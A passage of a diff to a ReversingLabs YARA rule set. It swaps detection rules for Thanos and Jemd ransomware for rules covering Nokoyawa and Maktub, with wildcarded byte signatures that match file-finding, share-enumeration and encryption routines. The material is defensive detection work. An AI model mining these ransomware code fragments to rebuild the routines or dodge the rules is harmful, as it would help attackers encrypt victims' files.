-            ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 95 ?? ??
-            ?? ?? 83 C2 ?? 89 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7F ?? 8D 85 ?? ?? ?? ?? 50 8B
-            8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74
-            ?? EB ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8D 95 ?? ?? ?? ?? 52
-            E8 ?? ?? ?? ?? 83 C4 ?? EB ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 8B E5 5D C2
+		$misc_checks_p2 = {
+            85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ??
+            ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ??
+            83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? E9
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($remote_connection)
+		uint16(0)==0x5A4D and ( all of ($misc_checks_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Thanos : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_Nokoyawa : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Thanos ransomware."
+		description = "Yara rule that detects Nokoyawa ransomware."
 		author = "ReversingLabs"
-		id = "e607255d-45a6-573d-956e-f6faa2aa7e9f"
-		date = "2021-08-12"
-		modified = "2021-08-12"
+		id = "31470ce4-381f-50d2-bbca-03c592e62a7d"
+		date = "2022-06-06"
+		modified = "2022-06-06"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Thanos.yara#L1-L106"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "f6bc0c2188a04d2fb2a82a6b6d6cdf7763c32047bec725fe07f01415edf0b4cd"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Nokoyawa.yara#L1-L104"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "85b7d93db06007d0043b1489b532410ccc700cf082b641fff8a09de2ffe9101d"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -37133,97 +38356,96 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Thanos : TC_DETECTION MALICIOUS MALW
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Thanos"
+		tc_detection_name = "Nokoyawa"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
+		$enum_shares = {
+            48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            48 8D 44 24 ?? 48 89 44 24 ?? 4C 8B 8C 24 ?? ?? ?? ?? 45 33 C0 33 D2 B9 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 7C 24 ?? ?? 74 ?? 33 C0 E9 ?? ?? ?? ?? 8B 44 24 ??
+            8B D0 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? 33 C0
+            E9 ?? ?? ?? ?? 8B 44 24 ?? 44 8B C0 33 D2 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 4C 8D 4C 24
+            ?? 4C 8B 44 24 ?? 48 8D 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 7C
+            24 ?? ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24
+            ?? 8B 44 24 ?? 39 44 24 ?? 73 ?? 48 8B 44 24 ?? 83 78 ?? ?? 75 ?? 8B 44 24 ?? 48 6B
+            C0 ?? 48 8B 4C 24 ?? 48 8B 54 01 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ??
+            ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 48 6B C0
+            ?? 48 8B 4C 24 ?? 8B 44 01 ?? 83 E0 ?? 83 F8 ?? 75 ?? 8B 44 24 ?? 48 6B C0 ?? 48 8B
+            4C 24 ?? 48 03 C8 48 8B C1 48 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? EB ?? 81 7C 24 ??
+            ?? ?? ?? ?? 74 ?? EB ?? 81 7C 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF
+            15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15
+        }
 		$find_files_p1 = {
-            6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? DD
-            ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 6C 7E ?? ?? ?? ??
-            28 ?? ?? ?? ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 35 ?? 7E ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08
-            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08
-            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 00 11
-            ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11
-            ?? 6F ?? ?? ?? ?? 00 DC 00 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38
-            ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0D 00 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D
-            ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F
+            FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83
+            E0 ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 84
+            ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ??
+            ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48
+            8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ??
+            ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 48 8D 4C 24
+            ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ??
+            48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ??
+            ?? ?? 74 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ??
+            ?? 3D ?? ?? ?? ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B 8C 24 ??
+            ?? ?? ?? 0F B7 04 41 83 F8 ?? 75 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48
         }
 		$find_files_p2 = {
-            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? 38 ?? ?? ?? ?? 00 00 09 72 ?? ?? ??
-            ?? 17 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0C 00 00
-            08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ??
-            6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A
-        }
-		$find_files_p3 = {
-            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 00 6F
-            ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ??
-            ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? DD ?? ?? ?? ?? 08 6F ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 6C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 23 ?? ??
-            ?? ?? ?? ?? ?? ?? 5A 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 35 ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 6F ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 00 00 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 6F ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 00 11 ?? 6F ?? ?? ?? ?? 13 ??
-            11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 DC
-            00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ??
-            ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 00 00 DE ??
-            26 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 06 13 ?? 2B ?? 11 ?? 2A
+            98 48 8B 8C 24 ?? ?? ?? ?? 0F B7 04 41 83 F8 ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B 8C 24 ?? ?? ?? ??
+            0F B7 04 41 83 F8 ?? 75 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B
+            8C 24 ?? ?? ?? ?? 0F B7 04 41 83 F8 ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 4C
+            24 ?? E8 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ??
+            ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 75 ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B 4C
+            24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48
+            81 C4
         }
 		$encrypt_files = {
-            73 ?? ?? ?? ?? 13 ?? 11 ?? 03 7D ?? ?? ?? ?? 11 ?? 04 7D ?? ?? ?? ?? 11 ?? 05 7D ?? ??
-            ?? ?? 11 ?? 0E ?? 7D ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ??
-            80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 28
-            ?? ?? ?? ?? 0A 06 8E 69 16 FE 02 16 FE 01 13 ?? 11 ?? 2D ?? 00 16 0B 2B ?? 00 06 07 9A
-            6F ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 06 07 9A 6F ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 06 07 9A 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
-            00 00 00 00 07 17 58 0B 07 06 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 00 2B ?? 00 16 0B 2B ??
-            00 7E ?? ?? ?? ?? 02 07 9A 6F ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 02 07 9A
-            6F ?? ?? ?? ?? 00 00 00 07 17 58 0B 07 02 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ??
-            ?? 72 ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 00 6F ?? ?? ??
-            ?? 26 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 14 0D 73 ?? ?? ?? ?? 13
-            ?? 11 ?? 11 ?? 7D ?? ?? ?? ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 00 7E ?? ?? ??
-            ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 09 2D ?? 11 ?? FE 06 ??
-            ?? ?? ?? 73 ?? ?? ?? ?? 0D 2B ?? 09 73 ?? ?? ?? ?? 0C 08 1A 6F ?? ?? ?? ?? 00 08 16 6F
-            ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 2B ?? 00 11 ?? 7B ?? ?? ??
-            ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ??
-            28 ?? ?? ?? ?? 00 00 00 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE
-            16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 00 2A
-        }
-		$remote_connection = {
-            00 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 19 6F ?? ?? ?? ??
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 02 28 ?? ?? ?? ?? 06 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 06 28 ?? ?? ?? ?? 0C DE ?? 26 00 00 DE ?? 00 7E ??
-            ?? ?? ?? 0C 2B ?? 00 08 2A
+            48 89 4C 24 ?? 48 83 EC ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 48 89 44 24 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? B9 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 48 89 44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24
+            ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4C 24 ??
+            E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 41 B8 ?? ?? ?? ?? 33 D2
+            48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ??
+            48 8B 4C 24 ?? 48 89 48 ?? 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 C7
+            40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ??
+            48 89 48 ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 48 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 8B 4C 24 ?? 48 89 41 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 41 ??
+            48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 8B 94 24 ?? ?? ??
+            ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 98 4C 8B C0 48 8D
+            15 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 48 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 C0 ??
+            48 8B D0 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24
+            ?? 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 45 33 C9 41 B8
+            ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 50 ?? 48 8B 44 24 ?? 48 8B 48 ?? FF 15 ?? ?? ?? ??
+            48 8D 05 ?? ?? ?? ?? F0 FF 00 48 83 C4 ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files) and ($remote_connection)
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($enum_shares) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Jemd : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Maktub : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Jemd ransomware."
+		description = "Yara rule that detects Maktub ransomware."
 		author = "ReversingLabs"
-		id = "ef981ffa-8801-50f0-9441-5f2bfcf44133"
+		id = "23ca4232-77ff-5519-b6b0-ccec6cb35fe1"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Jemd.yara#L1-L105"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "552e0fc118031e953dee2e7c6bf8234a5a90de8c34b0e2724dfe99f2b28b8c51"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Maktub.yara#L1-L116"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ee3213213e9521f7d19ce6340cd2f98057c22b1188ceefc30c17c18b6ec54e20"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -37231,96 +38453,118 @@ rule REVERSINGLABS_Win32_Ransomware_Jemd : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Jemd"
+		tc_detection_name = "Maktub"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 33 DB 89 9D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B
-            45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
-            64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 75
-            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B
-            45 ?? 50 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? B1 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
-        }
-		$find_files_2 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 4D ??
-            89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
-            ?? ?? 8D B5 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? ?? ?? ?? 89
-            C3 BB ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4B 75 ?? 33 DB 8D 45 ?? 33 C9 BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8A 14 1E 88 54 05 ?? 40 43 80 3C 1E ?? 74 ?? 83 F8
